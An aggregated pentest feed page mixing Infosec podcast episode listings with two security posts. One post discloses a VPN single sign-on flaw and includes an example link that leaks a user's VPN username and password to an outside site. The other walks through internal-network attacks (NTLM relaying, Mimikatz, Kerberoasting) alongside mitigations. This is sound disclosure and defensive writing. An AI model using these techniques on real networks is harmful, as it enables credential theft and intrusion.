Normal view

There are new articles available, click to refresh the page.
Before yesterdayPentest/Red Team

Working at The Analyst Syndicate, AI ethics and sneaking into DARPA | Guest Diana Kelley

By: Infosec
8 March 2021 at 08:00

Diana Kelley of The Analyst Syndicate is on the podcast to chat about her 25-year-long career in security. She touches on artificial intelligence and machine learning ethics, sneaking into DARPA in the '70s and much more.

0:00 - Intro
3:14 - Getting into cybersecurity
11:51 - Cybersecurity changes in the past 25 years
15:34 - Choosing exciting cybersecurity projects
19:49 - What is The Analyst Syndicate?
23:00 - Editorial process at The Analyst Syndicate
26:26 - Changes in security from the pandemic
32:22 - Combating fatigue at home
34:35 - Digital transformation
39:25 - Bringing more women into cybersecurity
43:08 - Tips for hiring managers
46:16 - Using AI and ML ethically
51:50 - Tips to get into cybersecurity
55:15 - Kelley's next projects
56:18 - Learn more about Kelley
57:08 - Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Diana Kelley’s security career spans over 30 years. She is co-founder and CTO of SecurityCurve and donates much of her time to volunteer work in the cybersecurity community, including serving on the ACM Ethics & Plagiarism Committee, as CTO and board member at Sightline Security, board member and Inclusion Working Group champion at WiCyS, cybersecurity committee advisor at CompTIA, Advisory Council, Bartlett College of Science and Mathematics, Bridgewater State University and RSAC US Program Committee. Kelley produces the #MyCyberWhy series and is the host of BrightTALK’s The (Security) Balancing Act and co-host of the Your Everyday Cyber podcast. She is also a principal consulting analyst at TechVision Research and a member of The Analyst Syndicate. She was the Cybersecurity Field CTO for Microsoft, global executive security advisor at IBM Security, GM at Symantec, VP at Burton Group (now Gartner) and a manager at KPMG. She is a popular keynote speaker, the co-author of the books "Practical Cybersecurity Architecture" and "Cryptographic Libraries for Developers," has been a lecturer at Boston College's Masters program in cybersecurity, the EWF 2020 Executive of the Year and one of Cybersecurity Ventures 100 Fascinating Females Fighting Cybercrime.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Working at Google: Security, anti-abuse and artificial intelligence | Guest Elie Bursztein

By: Infosec
1 March 2021 at 08:00

Elie Bursztein joins us on today’s episode to talk all about his role as chief research lead for anti-abuse at Google! Along with Infosec Founder Jack Koziol and Cyber Work Podcast host Chris Sienko, they discuss the difference between the practices of security and anti-abuse, the difference between protecting Google the company and Gmail the product, and the aspects of security and anti-abuse that AI will never be able to do.

0:00​ - Intro
2:35 - Starting a career in cybersecurity
12:57 - Entering the industry today
19:09​ - Career progression
42:18​ - Tech and academia collaboration for anti-abuse research
52:26​ - Getting hired in anti-abuse and cybersecurity
1:01:09​ - Future of machine learning as AI hacking
1:16:26 - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Elie Bursztein leads the Security and Anti-Abuse Research team at Google. He focuses on deep learning and cryptography research, and among many other accomplishments, broke SHA-1. His website, elie.net, is packed with informative articles and online talks he’s given over the years, a veritable master-class for any cybersecurity aspirants. He also describes himself as a wearer of berets and a purveyor of magic tricks in his spare time.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Stealing user passwords through a VPN’s SSO

25 February 2021 at 15:57

Last year I got this idea that I should attempt to pay for my holidays to Japan by hunting for bounties in security appliances while in the plane. A full 10 hours of uninterrupted focus on one solution seemed like it should yield interesting results. So I started reverse engineering the Firewall of a relatively common brand which has a private bug bounty. Due to this reason, I won’t be giving out the full details of the issue I discovered, but I find the vulnerability to be quite interesting and worth discussing. So I attempt to do this here without breaching any disclosure terms…

This happened relatively shortly after I had discovered some issues in Sonicwall appliances (there may well be more of them discussed here in the short future), so I was still investigating SSL VPNs and searching for ways to compromise them.

One of the features that most SSL VPNs offer is the ability to provide single sign-on for internal applications once a user is authenticated to the VPN device. Unless a fancier protocol like OAuth2 or SAML is used, a VPN admin might be required to specify a URL that allows the user to “seamlessly” authenticate to the back-end server. This might look like the following:

https://backendserver/login?username={{username}}&password={{password}}

When the user attempts to access the back-end application, a templating engine will automatically replace the username and password with the user’s data and thus authenticate successfully with the back-end server.

In other cases, the back-end server might accept Basic, Digest, NTLM or other types of authentication, which could also be configured by a VPN admin.

The first vulnerability I discovered was a pretty straightforward stack-based buffer overflow in the way the SSL VPN parsed the Negotiate authentication header. However, it was only exploitable from a back-end server. Worst case scenario, a server administrator (or any person who could tamper with internal communications) could potentially compromise the SSL VPN device. I wasn’t particularly enthusiastic about this finding as in practice, I didn’t really see many cases where I’d be able to exploit it. But I did continue researching how the device parsed these authentication headers in order to achieve single sign-on.

It turns out that the device did a pretty simple pattern match and replace on the {{username}} and {{password}} strings that were detected in the HTTP request. Where it got interesting, is when I noticed that these patterns were also replaced in the headers of the server’s Response for some reason. Not quite sure whether there is a legitimate reason to do so, or if this is an oversight, but I was wondering whether there was a way to exploit this in order to recover a user’s password.

Essentially, as an attacker we would need to find a way to get a specific pattern in the headers of the HTTP response from an application which is accessed through the VPN (even if no SSO is configured for it by the way). Unfortunately, I couldn’t find a generic way of doing so, but it is possible if one of the back-end applications is vulnerable to an insecure redirect.

When exploiting such a vulnerability, an attacker has to convince a user to click on a malicious link which will redirect the user to another location. Unless it is done in JavaScript, the redirection is generally done with a Location HTTP header containing the new location to visit.

This is very convenient in our case, as it allows us to recover the user’s VPN password as long as we can achieve the two following things:

  • Know the location of an insecure redirect on any application accessed through the VPN
  • Convince an authenticated user to visit a maliciously prepared URL

For instance, if I can get a user to click on the following link:

https://backendapp/redirect?url=https://www.scrt.ch/?user={{username}}&password={{password}}

The user will end up visiting SCRT’s website while providing his or her username and password in the URL, since the browser will see the following response from the application.

HTTP/1.1 302 Found
Location: https://www.scrt.ch/?user=USER&password=Password01

Obviously this is not the most serious vulnerability to be discovered but I thought it was quite different from what I usually see and worth presenting quickly. There might be other devices out there vulnerable to similar flaws or templating issues.

Unfortunately, it’s only after I did the research and reported the various issues that I noticed that the bug bounty program was no longer issuing any rewards, so I wasn’t even close to paying for my trip.

CompTIA Security+ SY0-601 update: Everything you need to know | Guest Patrick Lane

By: Infosec
25 February 2021 at 08:00

CompTIA’s Security+, the most popular cybersecurity certification in the world, is getting an overhaul for 2021! The updated exam (from SY0-501 to SY0-601) re-aligns the certification to match the most in-demand entry-level cybersecurity skills and trends of 2021.

Get insights into the changes directly from the source, Patrick Lane, Director of Products at CompTIA, as he explains how Security+ is evolving to remain the “go-to” certification for anyone trying to break into cybersecurity.

0:00​ - Intro
4:10 - What is the CompTIA Security+ certification?
5:05​ - Security+ baseline technical skills
16:00​ - Security+ helps solve an industry problem
21:35​ - Security+ job roles
31:45​ - Job role skills and exam release
37:35​ - CompITA Cybersecurity Career Pathway
47:27​ - SY0-601 vs SY0-501: 6 big changes
52:10 - Security+ exam details
56:48- Live Q&A
1:02:13 - Outro

– 7 days of free Security+ training with your Infosec Skills trial: https://www.infosecinstitute.com/skills/learning-paths/comptia-security/
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Patrick directs IT workforce skills certifications for CompTIA, including Security+, PenTest+, CySA+ and CASP+. He assisted the U.S. National Cybersecurity Alliance (NCSA) to create the “Lock Down Your Login” campaign to promote multi-factor authentication nationwide. He has implemented a wide variety of IT projects, including an intranet and help desk for 11,000 end users. Patrick is an Armed Forces Communications and Electronics Association (AFCEA) lifetime member, born and raised on U.S. military bases, and has authored and co-authored multiple books, including “Hack Proofing Linux: A Guide to Open Source Security.”

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Launch your cybersecurity career by finding a mentor | Guest Mike Gentile

By: Infosec
22 February 2021 at 08:00

Learn how mentors in the cybersecurity community can help launch your career on today’s episode featuring Mike Gentile, the Founder and CEO of CISOSHARE. Mike discusses the CyberForward program, which creates a mentorship and support system for new students of cybersecurity — often those with diverse cultural or economic backgrounds! CyberForward addresses not just skills training, but quality of life issues that might prevent entrance to the security field. If you’re feeling blocked and unsure how to enter the industry, you’ll really want to hear this episode!

0:00​ - Intro
2:24 - Starting a career in cybersecurity
5:39​ - Creating CISOHandbook.com
7:35 - What is CISOSHARE?
9:38​ - What is CyberForward?
11:15​ - Thoughts on the cybersecurity skills gap
17:40​ - Mentoring students through CyberForward
25:13​ - The training value system is broken
29:33 - Creating a network of support
32:44 - Helping the “beaten down” break through
36:52 - What’s next for CyberForward?
39:15 - Advice for getting started in cybersecurity
43:28​ - Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Mike Gentile is the Founder, President and CEO of CISOSHARE, headquartered in San Clemente, CA. He has led the company since inception to become a global leader in security program services and solutions. Initially an experiment, the CISOSHARE culture centers around learning and teaching to make the confusing security discipline understandable.

In 2019, Mike founded CyberForward Academy by CISOSHARE using this learning and teaching culture to address both the cybersecurity resource shortage and the livable wage gap issues felt in many communities. This partner-enabled professional development program identifies and then rapidly develops effective job-ready cybersecurity professionals.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Malware analyst careers: Getting hired and building your skills | Guest Dr. Richard Ford

By: Infosec
15 February 2021 at 08:00

What does a malware analyst do? Find out on today’s episode featuring Dr. Richard Ford, Chief Technology Officer of Cyren. Richard talks about breaking into the field, whether a computer science degree is or isn’t essential for the role, and an early program he wrote to brag about his high score to his classmates!

0:00​ - Intro
2:30 - Richard’s cybersecurity origin story
6:07​ - Being an IBM anti-malware researcher in the 90s
9:18​ - How malware has evolved
11:27​ - Major career milestones
18:14​ - Two types of malware analysts
21:42​ - How to get hired as an entry-level analyst
25:45​ - Day-to-day malware analyst tasks
29:40 - Transitioning to an analyst role without any experience
34:30 - What does Cyren do?
37:25​ - Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Dr. Richard Ford is the Chief Technology Officer of Cyren. He has over 25 years’ experience in computer security, working with both offensive and defensive technology solutions. During his career, Ford has held positions with Forcepoint, Virus Bulletin, IBM Research, Command Software Systems and NTT Verio. Dr. Ford has also worked in academia, having held an endowed chair in Computer Security, and worked as Head of the Computer Sciences and Cybersecurity Department at the Florida Institute of Technology. Ford holds a bachelor’s, master’s and D.Phil. in Physics from the University of Oxford. In addition to his work, he is an accomplished jazz flutist and instrument rated private pilot.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Gamification: Making cybersecurity training fun for everyone | Guest Jessica Gulick

By: Infosec
8 February 2021 at 08:00

We’re making cybersecurity training fun with today’s episode, which is all about gamification! Jessica Gulick of Katczy discusses the Wicked6 Cyber Games, the Women’s Society of Cyberjutsu, and the ways in which cyber games could rise to the ranks of other televised esports.

0:00​ - Intro
2:16​ - Starting in cybersecurity after 9/11
3:28​ - Major career milestones so far
7:08​ - Day to day duties as a CEO
11:00​ - Cybersecurity burnout and ongoing learning
13:16​ - Let’s dig into gamification!
19:11​ - How to design deeper gamification
22:32 - Selling gamification to leadership
28:45 - Wiked6 Cyber Games
35:10 - Gamified security awareness campaigns
37:42​ - Can gamification help grow the talent panel
42:05​ - Working with the Women’s Society of Cyberjutsu
49:58​ - What’s next for these gamified cyber events?
52:20​ - Outro

– Try our Choose Your Own Adventure® Zombie Invasion game: https://www.infosecinstitute.com/iq/choose-your-own-adventure/
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Jessica Gulick is CEO of Katzcy, a woman-owned growth firm specializing in cybersecurity marketing and cyber games. She is also President of the Board at the Women’s Society of Cyberjutsu, a 501c3 dedicated to advancing women in cyber careers. Jessica is a 20-year veteran in the cybersecurity industry and a CISSP.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Moving up in cybersecurity: From help desk to FireEye to CEO | Guest Jason Meller

By: Infosec
1 February 2021 at 08:00

From working the help desk to becoming FireEye’s Chief Security Strategist and founding his own company Kolide, Jason Meller has a wealth of experience to share about moving up the cybersecurity ladder. On today’s episode, he discusses his security journey, including working one of the best help desk jobs of all time, bluescreening his friends in the Wild West days of the Internet and sharing advice for up-and-coming cybersecurity professionals.

0:00​ - Intro
2:22​ - Pixar movie Soul and finding his "spark"
6:40​ - The Wild West of cybersecurity
7:56​ - Working at the best help desk ever
12:13​ - Becoming a cyber threat analyst
18:02​ - The importance of soft skills
21:23​ - Becoming a chief security strategist at FireEye
24:38​ - Working solo vs in a team
25:55​ - Adding a new superpower with your talents
28:03​ - Should you leave your job?
31:10​ - Exploring the psychology of security
36:34​ - Security veterans and mentorship
40:30​ - What is Kolide?
44:30​ - The new work/life balance of security
46:40​ - Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Jason Meller is the CEO and founder of Kolide. Jason has dedicated his career to building products and tools that enable security experts to successfully defend western interests from sophisticated and organized global cyber threats. He started his security and product career at GE's elite computer incident response team, led by Richard Bejtlich (the father of modern network security monitoring). From there, Jason moved to the legendary Mandiant corporation (acquired by FireEye) quickly working his way up from an entry level analyst position to becoming the Chief Security Strategist. As Chief Security Strategist at FireEye, Jason was responsible for rapidly building products and services with an engineering strike team to facilitate and grow high-profile partnerships and key strategic initiatives.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

SecOps and the keys to a successful cybersecurity startup | Guest Raju Chekuri

By: Infosec
25 January 2021 at 08:00

NetOps, SecOps and CloudOps — you’ll learn about it all on today’s episode featuring Raju Chekuri, CEO of NetEnrich. Raju shares his career journey, discusses his work helping new tech and cybersecurity startups, and explains why clinging blindly to a five-year plan can be a recipe for disaster.

0:00 - Intro 
2:12 - Getting started in cybersecurity
3:38 - How the security landscape has changed
8:27 - Complexity and scope of cybersecurity
10:05 - 16+ years at NetEnrich
14:30 - Going beyond governance to do it right
17:30 - Strategies for upping ITOps along with business
22:50 - Examples of companies doing it right
24:55 - Helping startups become successful
30:45 - Keys to a solid business plan
33:42 - Mentorships in security and startups
36:25 - Being an entrepreneur & humanitarian
40:15 - What's next for NetEnrich?
46:18 - Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Raju founded NetEnrich in 2004 after a successful IT career as an entrepreneur, visionary and business leader in Silicon Valley. He has led the company’s growth as SaaS for digital operations while innovating for AIOps and cybersecurity solutions. Raju is currently the chairman of the board at OpsRamp, a spin-off from NetEnrich. Previously, he founded Velio Communications, Inc., and led it to its acquisition by LSI Logic and Rambus in 2003. Raju earned an MBA at St. Mary’s College of California and a Bachelor of Technology at Kakatiya University. 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Cybersecurity careers: Risk management, privacy and healthcare security | Guest Tyler Cohen Wood

By: Infosec
19 January 2021 at 08:00

Learn about different cybersecurity roles and career paths in this wide-ranging conversation with today’s guest Tyler Cohen Wood. Tyler discusses working as a senior intelligence officer for the Defense Intelligence Agency (DIA), overseeing cyber risk for AT&T and writing her book Catching the Catfishers. We talk about online privacy, implementing complex cybersecurity systems, healthcare security shortcomings in the age of COVID — and her blue-haired, pre-cyber years working in the record industry!

0:00 - Intro
2:20 - Getting into IT & security
4:20 - Digital forensics & incident response
6:18 - Moving up the cybersecurity ladder
9:40 - Working with complex systems
12:57 - Director of Cyber Risk at AT&T
15:37 - Becoming a cybersecurity consultant
22:30 - Sharing too much personal info
26:20 - Work from home privacy & security
33:18 - Cybersecurity career tips
37:33 - Cybersecurity hiring & diversity
39:51 - Healthcare privacy & HIPAA changes
48:53 - Future career plans
50:15 - Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Tyler Cohen Wood is a cyber-authority with 18+ years of highly technical experience. As a cyber intelligence and national security expert, as well as three-time author and public speaker, Tyler is relied on for her wealth of knowledge and unique insights. She served with the DIA as a senior intelligence officer where she developed highly technical cyber solutions and made recommendations to significantly develop and change critical cyber policies and directives, which affected current and future intelligence community programs. She has helped the White House, DoD, federal law enforcement and the intel community thwart many cyberthreats to the U.S. She is the author of the book Catching the Catfishers. 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Kubernetes: Vulnerabilities, efficiency and cloud security | Guest Michael Foster

By: Infosec
11 January 2021 at 08:00

Learn all about Kubernetes, its possible misconfigurations and vulnerabilities, and how it applies to cloud security on today’s episode, featuring Michael Foster, a Cloud Native Advocate at StackRox. Michael discusses intrinsic Kubernetes security issues compared with those that come from improper use, the work of a Cloud Security Advocate, his time in the Chicago Cubs and more.

0:00 Intro 
2:03 Getting started in tech
4:09 From Cubs to security
8:10 What is Kubernetes?
10:45 Kubernetes issues & CNCF roadmap
14:50 Types of vulnerabilities
19:10 Kubernetes checklist and wishlist
23:30 Role and duties at StackRox
25:30 Cloud security skills & careers
31:30 Future of Kubernetes
33:28 What is StackRox?
35:35 Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Michael Foster is a passionate tech enthusiast and open-source advocate with a multidisciplinary background. As a Cloud Native Advocate at StackRox, Michael understands the importance of building an inclusive community. Michael embraces all forms of automation, focusing on Kubernetes security, DevOps, and infrastructure as code. He is continually working to bridge the gap between tech and business and focus on sustainable solutions.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Running a digital forensics business | Guest Tyler Hatch

By: Infosec
4 January 2021 at 08:00

We’re going back into the world of digital forensics careers with today’s guest, Tyler Hatch of DFI Forensics! Tyler tells us about moving from being a lawyer into the field of digital forensics, key traits of great forensics professionals and how to prove that incriminating evidence on a defendant’s laptop isn’t always what it seems. 

0:00 Intro 
2:46 Getting started in tech
5:24 Lawyer vs forensics
12:11 Staff and cases
18:45 Responsibilities and tasks
24:10 Digital forensics files podcast
27:45 Getting hired
30:40 Covid-19 work impact
33:16 Future of forensics
40:17 Breaking into forensics
42:43 Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Following a six-year legal career that included representing clients in legal proceedings in small claims, the Supreme Court and a variety of administrative tribunals in B.C., Tyler found his way into the fascinating world of digital forensics and never looked back. 

Tyler is a Certified Computer Forensics Examiner (CCFE) and a Certified Mobile Forensics Examiner (CMFE) and is always training and receiving education to further his knowledge and understanding of computer forensics, IT forensics, digital forensics, cybersecurity and incident response. Tyler formed DFI Forensics in July 2018 and is the host of the “Digital Forensics Files” podcast. He is also a frequent contributor of written articles to various legal and digital forensics publications, including AdvocateDaily.com, LawyersDaily.ca, eForensics Magazine and Digital Forensics Magazine. 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

State of Pentesting 2020

28 December 2020 at 08:04

To many people, pentesting (or hacking in a broader sense) is a dark art mastered by some and poorly understood by most. It has evolved quite substantially throughout the years, guided by new vulnerabilities, changing behaviours and maybe most importantly the development and release of new tools, be they offensive or defensive.

In this blog post, I wanted to present how pentests have evolved since I started my pentesting journey some 12 years ago. Note that none of this is backed by hard data, but on my own feelings after seeing a great number of tests performed throughout the years.

When it comes to the types of pentests we perform, we see that while standard internal or external tests are performed by companies who have never or rarely had any security testing done beforehand, seasoned companies tend to ask for more specific testing of applications, systems or processes.

Red or Purple teaming approaches are preferred in order to establish not only which vulnerabilities are present, but also determine whether the defensive efforts are properly prioritized and implemented.

A lot of testing has now also shifted to the Cloud, and although some aspects of these tests remain similar, there are a number of subtleties provided by each Cloud provider that need to be considered.

In this post, I’ll have a look at how internal pentests have evolved throughout the years.

Internal pentests

When I started pentesting, the MS08-067 (Conficker) vulnerability had just been published and for some (long) time afterwards, compromising a company was all about discovering which system hadn’t been patched, exploiting it with Metasploit, cracking the LM or NTLM hash of the local administrator and reusing it throughout the company to compromise all systems.

Even though we still occasionally discover systems vulnerable to MS08-067, the “entry point” into the network has changed throughout the years. For some time, JBoss and Tomcat servers were the holy grail of pentesters, as they tended to be installed with an administration interface which is often poorly protected (if protected at all) which allowed to deploy new applications and thus run arbitrary commands on the server.

A happy sight for a pentester

In most cases these commands were run with SYSTEM privileges allowing for a full compromise. This latter fact is an issue that we still routinely discover, where applications run with elevated privileges on a server for no particular reason apart from the fact that it’s easy to do! I’d recommend having a look at Group-Managed Service Accounts to attempt to avoid this.

Thankfully, the more recent versions of these application servers either do not install a management interface or simply do not provide any default credentials any more, which limits the ways in which they can be compromised, although unauthenticated JMX or Java RMI interfaces can often still be exploited with tools such as ysoserial.

Sometimes it feels like stealing candy from a child

A little more recently, MS17-010 became the new norm in order to compromise a workstation or server, and very much like MS08-067, it can often still be exploited nowadays, despite the patch being available for over 3 years. The only “difficulty” is to find that hidden server that hasn’t been patched in years but can’t be decommissioned because it’s “too sensitive”. This might come in as a surprise to some, but hackers rarely spend much time on the servers you just installed and hardened. Instead, they will search for the old ones which you’re trying to forget about!

We’re not going through the front door, but around it!

The “entry point” or first vulnerability has certainly changed multiple times throughout the years, but the concept of compromising the local administrator account and reusing it elsewhere stayed true for a long time. However, the fact of cracking the password was never really required, as pass-the-hash techniques could be abused instead. The concept of actually cracking a NTLM hash and recovering the clear-text password is mostly used to generate password statistics nowadays.

One of the more impactful developments has been the adoption of LAPS, or similar password management tools, which allow administrators to manage the local administrator passwords for all domain-joined computers. This completely prevents the previously discussed lateral movements and is probably the single biggest improvement we have seen over the years, although for it to really be efficient, all other local accounts must be removed!

Due to this, it is no longer interesting to recover the local accounts after compromising a server. Instead, tools such as Mimikatz are used to recover the clear-text credentials (or NTLM hash) of connected users directly from the machine’s memory. This allows for the compromise of domain users that have recently authenticated to the machine. Compromising a domain administrator account is therefore achieved by compromising any server (or workstation…) where such an account is logged on.

That’s a nice password, good thing we don’t need to crack it!

Even though Microsoft has recommended for years that these accounts be used as little as possible, it is still a relatively common practice to use domain administrator accounts for routine administration purposes or even for service accounts. It’s just so much simpler that way!

When it comes to discovering the machines used by domain administrators and how to compromise them, the development of tools such as BloodHound have shown that it is not always necessary to exploit an actual vulnerability to get there, but simply abuse a (mis)configuration of the Active Directory. Overly broad permissions on AD objects can rapidly be exploited by attackers to elevate privileges within a domain.

Let’s find a path to domain admin

Kerberoasting is another fun technique which is commonly used nowadays as it allows any domain user to essentially recover a non-replayable hash of accounts which have a Service Principal Name (usually service accounts). This is one of the cases where cracking a hash is actually necessary. Thankfully for attackers, service accounts are often ancient and set with a password which never expires. In many cases it is the name of the service followed by the year the service was installed. These passwords will take seconds to break and often grant extensive access to the information system.

Nevertheless, BloodHound and Kerberoasting attacks still require an initial domain account to be used. Nowadays, it is often much easier to compromise an account rather than compromising a workstation or server.

For some time, a simple domain account was sufficient to compromise high privileged credentials in GPPs as these were encrypted in a reversible format. Even though this has now been “patched” (essentially by removing the vulnerable feature) it is always worth grepping for cpassw in SYSVOL, just in case.

But how do we actually compromise this initial account?

Responder is a fantastic tool which allows to recover a non-replayable hash from computers that still use legacy protocols such as LLMNR and NBNS for name resolution. The hash can be recovered by forcing the vulnerable system to authenticate to the attacker’s one. At this stage, the hash could potentially be broken (probably because the password is Welcome2020) but it doesn’t actually need to be, since NTLM is vulnerable to relay attacks. Instead of recovering the account hash, an attacker can simply the authentication to another system with the help of tools such as ntlmrelayx from impacket.

Responder also has a Powershell counterpart named Inveigh

The impact of such attacks depends on the privileges of the compromised account. In the worst case scenario, a domain administrator account might be compromised in this fashion to directly execute arbitrary commands on the domain controller.

Internal pentests nowadays often revolve around this idea of forcing an account to authenticate to the attacker’s machine. This can be done by abusing LLMNR or NBNS, but it could also be done by simply inserting an image or iframe in unencrypted HTTP traffic, the end result would be similar. The authentication is then relayed to an appropriate system depending on the account privileges, and from there, privilege escalation is achieved through misconfigured Active Directory objects.

Pilfering the Active Directory for these misconfigurations has become somewhat of an art and there are several combination of issues which can potentially be abused to execute code on a targeted machine if the appropriate credentials are “available” on the network. This article from last year presents several ways of abusing Kerberos delegation for example. Other simpler ways exist, such as searching for clear-text passwords in object descriptions which by default are available to all.

The “printer bug” can also be used in many cases to force a machine account to authenticate to an attacker’s machine. If the machine happens to have admin privileges on another machine (this is easy to discover with BloodHound for example), this gives instant access to the second machine with high privileges.

The current “meta” for internal pentests is to run Responder alongside ntlmrelay to gain initial access, and then replay credentials compromised with Mimikatz and abuse AD misconfigurations to compromise a domain administrator account. Obviously this is a bit of an oversimplification as there are still other vulnerabilities that can be exploited, but it is often the path of least resistance.

And of course, while I’m writing this, the ZeroLogon vulnerability was published, ensuring pentesters a healthy couple years of directly compromising domain controllers without going through everything I just discussed!

So how can you defend against this?

The initial part of the attack process is based on the NTLM authentication protocol and its weakness against relay attacks. Obviously if you disable NTLM authentication altogether and exclusively use Kerberos, this particular problem is solved, but in practice, this is near impossible to do.

One possibility is to disable LLMNR and NBNS, but it won’t prevent malicious users from inserting images into unencrypted HTTP traffic or cases such as the printer big discussed above. Thankfully, there is another solution which is the fact of requiring SMB signing for both clients and servers. This effectively prevents the relaying attacks on the SMB protocol. Unfortunately, NTLM authentication can also be used in cross-protocol attacks, where an authentication to an HTTP server for example can be relayed to a SMB server or vive-versa. Other protections such as channel binding or proper use of TLS are required to mitigate these attacks. A nice article regaring NTLM relay and its mitigations can be found here.

The second part of the attacks relies on the ability to use mimikatz to compromise credentials and attack systems which are used simultaneously administered by lower privileged accounts and used by higher privileged accounts. The first recommendation i’d give here is to not rely on your anti-virus to block Mimikatz. There are so many different evasion techniques available, that one of them will always end up working. Instead, prefer the protection of LSASS with Credential Guard. I also highly recommend the use of the Protected Users group for any privileged account. Similarly, they should all be marked with the Account is sensitive and cannot be delegated property to avoid them being abused in Kerberos delegation attacks.

And finally the harder part is implementing a proper privileged account management hygiene. To avoid privilege escalation through a compromised system, it must be impossible for a more privileged account to be used on a system where a lesser account has administrative privileges. A tiered administration approach can be used, such as the one proposed by Microsoft here.

Microsoft’s administrative tiers

I’d recommend reading the whole article, but i’ll attempt to very briefly summarise the key points:

  • Setup a minimum of 3 administrative tiers/groups in the Active Directory. This would be for domain admins, server admins and workstation admins for example.
  • Implement the concept of Privileged Access Workstations (PAW) for these administrators. This is actually harder to implement than one might think, especially since most companies will not want to provide multiple workstations for administrators. One relatively straightforward way of doing this is using a hardened “base” laptop for administrative purposes and login to a VDI or virtual machine for all “user” tasks.
  • Restrict access and logon between administrative tiers with firewalls and group policies
  • Use Windows Firewall to allow access to the various tiers only from authorised PAWs for the associated tier.
  • Implement Multi-factor authentication for administrators
  • Put all admin accounts in the Protected Users group
  • Mark all admins as sensitive for delegation

If you feel like this is not enough, you could also go for an ESAE Administrative Forest (also sometimes called Red Forest).

One constant that I have seen throughout the years and companies where I have performed tests is the lack of proper internal network filtering. Even though it is getting rarer nowadays to find a completely “flat” network with all workstations and servers on the same subnet, there is rarely any firewalling performed between subnets and pretty much never any within a given subnet. This is a shame as proper filtering can prevent a great number of exploits by simply restricting access to the vulnerable services.

